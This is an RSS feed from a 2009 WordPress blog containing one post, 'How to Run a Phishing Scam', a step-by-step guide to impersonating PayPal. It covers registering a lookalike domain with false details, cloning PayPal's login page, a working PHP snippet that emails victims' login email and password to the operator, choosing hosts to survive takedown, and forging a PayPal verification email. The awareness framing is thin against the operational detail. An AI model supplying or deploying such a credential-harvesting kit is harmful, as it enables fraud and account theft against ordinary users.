<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Infinity-Infinity &#187; paypal</title>
	<atom:link href="http://infinity-infinity.com/tag/paypal/feed/" rel="self" type="application/rss+xml" />
	<link>http://infinity-infinity.com</link>
	<description>A blog and stuff.</description>
	<lastBuildDate>Sat, 31 Jul 2010 16:03:33 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>How to Run a Phishing Scam</title>
		<link>http://infinity-infinity.com/2009/10/how-to-run-a-phishing-scam/</link>
		<comments>http://infinity-infinity.com/2009/10/how-to-run-a-phishing-scam/#comments</comments>
		<pubDate>Sun, 18 Oct 2009 17:05:47 +0000</pubDate>
		<dc:creator>Brendon</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[paypal]]></category>
		<category><![CDATA[phishing]]></category>

		<guid isPermaLink="false">http://infinity-infinity.com/?p=439</guid>
		<description><![CDATA[Many people have the idea that phishing scams are complex, and are operated by organised criminals. In fact, they are not that hard to create at all. I could create one, and I could scam people for money. So that&#8217;s what I am going to do.* In this article, I will show you how easy [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Finfinity-infinity.com%2F2009%2F10%2Fhow-to-run-a-phishing-scam%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Finfinity-infinity.com%2F2009%2F10%2Fhow-to-run-a-phishing-scam%2F" height="61" width="51" /></a></div><p>Many people have the idea that <strong>phishing scams</strong> are complex, and are operated by organised criminals. In fact, they are not <em>that</em> hard to create at all. I could create one, and I could scam people for money. So that&#8217;s what I am going to do.* In this article, I will show you how easy it is to create your very own phishing scam set-up. I will deal with the &#8216;technical side&#8217; &#8212; the website and e-mail &#8212; but not with harvesting and sending e-mails, not getting caught, etc.<span id="more-439"></span> </p>
<p><em>* I&#8217;ll stop at the making money part.</em></p>
<div class='toc wptoc'>
<h2>Contents</h2>
<ol class='toc-odd level-1'>
	<li>
		<a href="#Abstract">Abstract</a>
	</li>
	<li>
		<a href="#The_Domain">The Domain</a>
	</li>
	<li>
		<a href="#The_Website">The Website</a>
	</li>
	<li>
		<a href="#The_Web_Host">The Web Host</a>
	</li>
	<li>
		<a href="#The_E-mail">The E-mail</a>
	</li>
	<li>
		<a href="#Attack_Demo">Attack Demo</a>
	</li>
</ol>
</ol>
</ol>
</div>
<div class='wptoc-end'>&nbsp;</div>
<span id="Abstract"><h3>Abstract</h3></span>
<p>The idea is to send an e-mail to people, claiming to be from <strong>PayPal</strong>, with information they need to act on. We will provide a link which the reader will be tricked into visiting, and then steal their details from our website. From there, it is simply a case of logging into their account, stealing more details, and their money.</p>
<p>(I am not discriminating against PayPal here &#8212; most other services on the Internet are susceptible as well).</p>
<span id="The_Domain"><h3>The Domain</h3></span>
<p>Our first goal is to get people onto our website. To do this, we need a genuine-looking domain. A few minutes at <a title="Instant Domain Search" href="instantdomainsearch.com">instantdomainsearch.com</a> will find us one. I registered <a href="http://www.paypal-query.com">paypal-query.com</a>. As a criminal would, I used false details. (As a criminal wouldn&#8217;t, I used my residential Internet connection).</p>
<div id="attachment_470" class="wp-caption aligncenter" style="width: 265px"><a href="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing_false_details1.jpg"><img class="size-medium wp-image-470" title="phishing_false_details" src="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing_false_details1-255x300.jpg" alt="False details" width="255" height="300" /></a><p class="wp-caption-text">False details</p></div>
<div id="attachment_464" class="wp-caption aligncenter" style="width: 278px"><a href="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing_false_details_domain_registration1.jpg"><img class="size-medium wp-image-464" title="phishing_false_details_domain_registration" src="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing_false_details_domain_registration1-268x300.jpg" alt="False details" width="268" height="300" /></a><p class="wp-caption-text">False details</p></div>
<p>You could also use a <a href="http://freedns.afraid.org/">free domain</a>, reducing the risk of everything being traced back to you.</p>
<span id="The_Website"><h3>The Website</h3></span>
<p>Now we have a domain, we just need a website which looks like PayPal. Its intention is to trick people into thinking it is an official PayPal website, and then to unwittingly provide details to us.</p>
<p>Making this site turns out to be pretty easy. You just copy the HTML from the page, and change all references to images and pages to images and pages on your own site.</p>
<div id="attachment_465" class="wp-caption aligncenter" style="width: 244px"><a href="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing_paypal_objects1.jpg"><img class="size-medium wp-image-465" title="phishing_paypal_objects" src="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing_paypal_objects1-234x300.jpg" alt="Copying PayPal images" width="234" height="300" /></a><p class="wp-caption-text">Copying PayPal images</p></div>
<p style="text-align: center;">
<div id="attachment_466" class="wp-caption aligncenter" style="width: 310px"><a href="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing_paypal_links1.jpg"><img class="size-medium wp-image-466" title="phishing_paypal_links" src="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing_paypal_links1-300x57.jpg" alt="Changing PayPal links" width="300" height="57" /></a><p class="wp-caption-text">Changing PayPal links</p></div>
<p>Once that is done, we can insert a little bit of PHP code to capture users&#8217; details and e-mail them to us:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #990000;">mail</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;[my email]&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;PAYPAL PASS&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;login_email&quot;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;login_password&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #990000;">header</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Location: https://referer.us/www.paypal.com/uk/cgi-bin/webscr?cmd=_security-center&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">exit</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>And that is pretty much it. I also created a .htaccess file to redirect all page requests to the login page. Here is what it looks like &#8212; just like PayPal.com:</p>
<div id="attachment_467" class="wp-caption aligncenter" style="width: 310px"><a href="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing_fake_paypal1.jpg"><img class="size-medium wp-image-467" title="phishing_fake_paypal" src="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing_fake_paypal1-300x206.jpg" alt="The phished PayPal site" width="300" height="206" /></a><p class="wp-caption-text">The phished PayPal site</p></div>
<span id="The_Web_Host"><h3>The Web Host</h3></span>
<p>We need to host our website with somebody who either:</p>
<ol>
<li>does not expect their service to be used with phishing attacks; or</li>
<li>does not care whether their service is used for phishing attacks.</li>
</ol>
<p>Many choose the first option, targeting small, free web-hosts. Reliability is not a concern, and it can be expected that a phishing site is taken down soon after it is hosted. It is therefore a good idea for information to be sent somewhere else. However, it is a better idea to access this information passively: to query a page on the server periodically, than it be actively sent to an address.</p>
<span id="The_E-mail"><h3>The E-mail</h3></span>
<p>The third and most important part of this scam is the e-mail. This is what will prompt the user that they need to take action. One common e-mail is the &#8216;Your account needs to be verified&#8217; one. We can take a real PayPal e-mail, like this one (or one which is more generic):</p>
<div id="attachment_475" class="wp-caption aligncenter" style="width: 310px"><a href="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing-real-paypal-email.jpg"><img class="size-medium wp-image-475" title="phishing-real-paypal-email" src="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing-real-paypal-email-300x289.jpg" alt="phishing-real-paypal-email" width="300" height="289" /></a><p class="wp-caption-text">An e-mail from PayPal (real)</p></div>
<p>&#8230;and copy the source:</p>
<div id="attachment_478" class="wp-caption aligncenter" style="width: 310px"><a href="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing-paypal-email-source.jpg"><img class="size-medium wp-image-478" title="phishing-paypal-email-source" src="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing-paypal-email-source-300x209.jpg" alt="E-mail source" width="300" height="209" /></a><p class="wp-caption-text">E-mail source</p></div>
<p>We then simply change all references of www.paypal.com to our site, www.paypal-query.com. The e-mail will appear exactly the same as the valid one, but will fool people into clicking through to our site, where we will attempt to capture their login details. This is what our phished e-mail looks like, much like the authentic one:</p>
<div id="attachment_494" class="wp-caption aligncenter" style="width: 310px"><a href="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing-paypal-phished-email.jpg"><img class="size-medium wp-image-494" title="phishing-paypal-phished-email" src="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing-paypal-phished-email-300x289.jpg" alt="Phished PayPal e-mail" width="300" height="289" /></a><p class="wp-caption-text">Phished PayPal e-mail</p></div>
<span id="Attack_Demo"><h3>Attack Demo</h3></span>
<p>Everything we need is now in place. After just ~650 words, you know how to create a phishing site. It may be shocking to find that all you need to create a phishing site is some common sense and the ability to copy and paste some code. In reality, it took me just 3-4 hours to create this. Here is a video demonstration from a victim&#8217;s perspective:</p>
<p><object width="560" height="340"><param name="movie" value="http://www.youtube.com/v/8yE0ZVXJtPk&#038;hl=en&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/8yE0ZVXJtPk&#038;hl=en&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://infinity-infinity.com/2009/10/how-to-run-a-phishing-scam/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
<!-- WP Super Cache is installed but broken. The path to wp-cache-phase1.php in wp-content/advanced-cache.php must be fixed! -->